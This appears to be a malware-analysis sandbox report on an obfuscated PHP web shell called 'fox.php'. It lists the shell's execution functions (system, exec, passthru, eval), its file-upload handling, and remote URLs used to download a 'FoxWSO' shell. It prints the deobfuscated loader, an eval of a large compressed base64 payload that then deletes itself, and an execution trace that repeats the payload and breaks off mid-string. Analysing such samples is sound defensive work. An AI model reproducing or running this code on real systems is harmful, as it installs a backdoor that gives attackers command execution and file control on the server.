fox.php

md5: 26f6be1fe07c6015c66c79c6fc31a7e2

Jump to:
Deobfuscated code (Read more)
Execution traces (Read more)
Generated HTML (Read more)
Original Code (Read more)
Screenshot
Attributes
Encoding
base64_decode (Deobfuscated, Traces)

Environment
error_reporting (Deobfuscated, Original, Traces)
getcwd (Traces)
php_uname (Traces)

Execution
eval (Deobfuscated, Original, Traces)
exec (Traces)
passthru (Traces)
shell_exec (Traces)
system (Traces)

Files
file_get_contents (Traces)
file_put_contents (Traces)
move_uploaded_file (Traces)

Input
_FILES (Traces)
_GET (Traces)

URLs
http://$shell (Traces)
http://$up (Traces)
http://localhost/piwoz.php (HTML)
http://localhost/u3nqa.php (Traces)
http://localhost/xgayr.php?FOx=OYXLk (HTML)
https://$shell (Traces)
https://$up (Traces)
https://anonymousfox.mx/_@files/php/FoxWSO-full.txt (Traces)
https://fonts.googleapis.com/css?family=Asap:400,700|Lato:400,700,900|Source+Sans+Pro:400,700&display=swap (Traces)
https://gov.co.ve/_@files/php/FoxWSO-full.txt (Traces)
https://localhost/u3nqa.php (Traces)

Deobfuscated PHP code
<?php

if (!function_exists('explode')) {
    function explode($str, $array)
    {
        return split($str, $array);
    }
}
error_reporting(0);
function Crgwr()
{
    $qRccm = 'I could not have a more welcome visitor 64 group of zain bani';
    $jV1Aq = "eval(gzuncompress(base64_decode('";
    return "eval(gzuncompress(base64_decode('";
}
eval(CRgwR() . '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\')));');
unlink("/var/www/html/fox.php.e998218de58e405d29d6758dde3534bd.bin");
$filename = strval(basename("/var/www/html/fox.php.e998218de58e405d29d6758dde3534bd.bin"));
$f = explode('.php', $filename);
$Myname = $f[0] . '.php';
unlink($Myname);
Execution traces
data/traces/26f6be1fe07c6015c66c79c6fc31a7e2_trace-1676242267.3217.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 20:51:33.219528]
1	0	1	0.000516	393512
1	3	0	0.000664	409424	{main}	1		/var/www/html/uploads/fox.php	0	0
2	4	0	0.000680	409424	function_exists	0		/var/www/html/uploads/fox.php	2	1	'explode'
2	4	1	0.000697	409464
2	4	R			TRUE
2	5	0	0.000711	409424	error_reporting	0		/var/www/html/uploads/fox.php	7	1	0
2	5	1	0.000725	409464
2	5	R			22527
2	6	0	0.000739	409424	Crgwr	1		/var/www/html/uploads/fox.php	7	0
2		A						/var/www/html/uploads/fox.php	7	$qRccm = 'I could not have a more welcome visitor 64 group of zain bani'
2		A						/var/www/html/uploads/fox.php	7	$jV1Aq = 'eval(gzuncompress(base64_decode(\''
2	6	1	0.000784	409488
2	6	R			'eval(gzuncompress(base64_decode(\''
2	7	0	0.000829	426792	eval	1	'eval(gzuncompress(base64_decode(\'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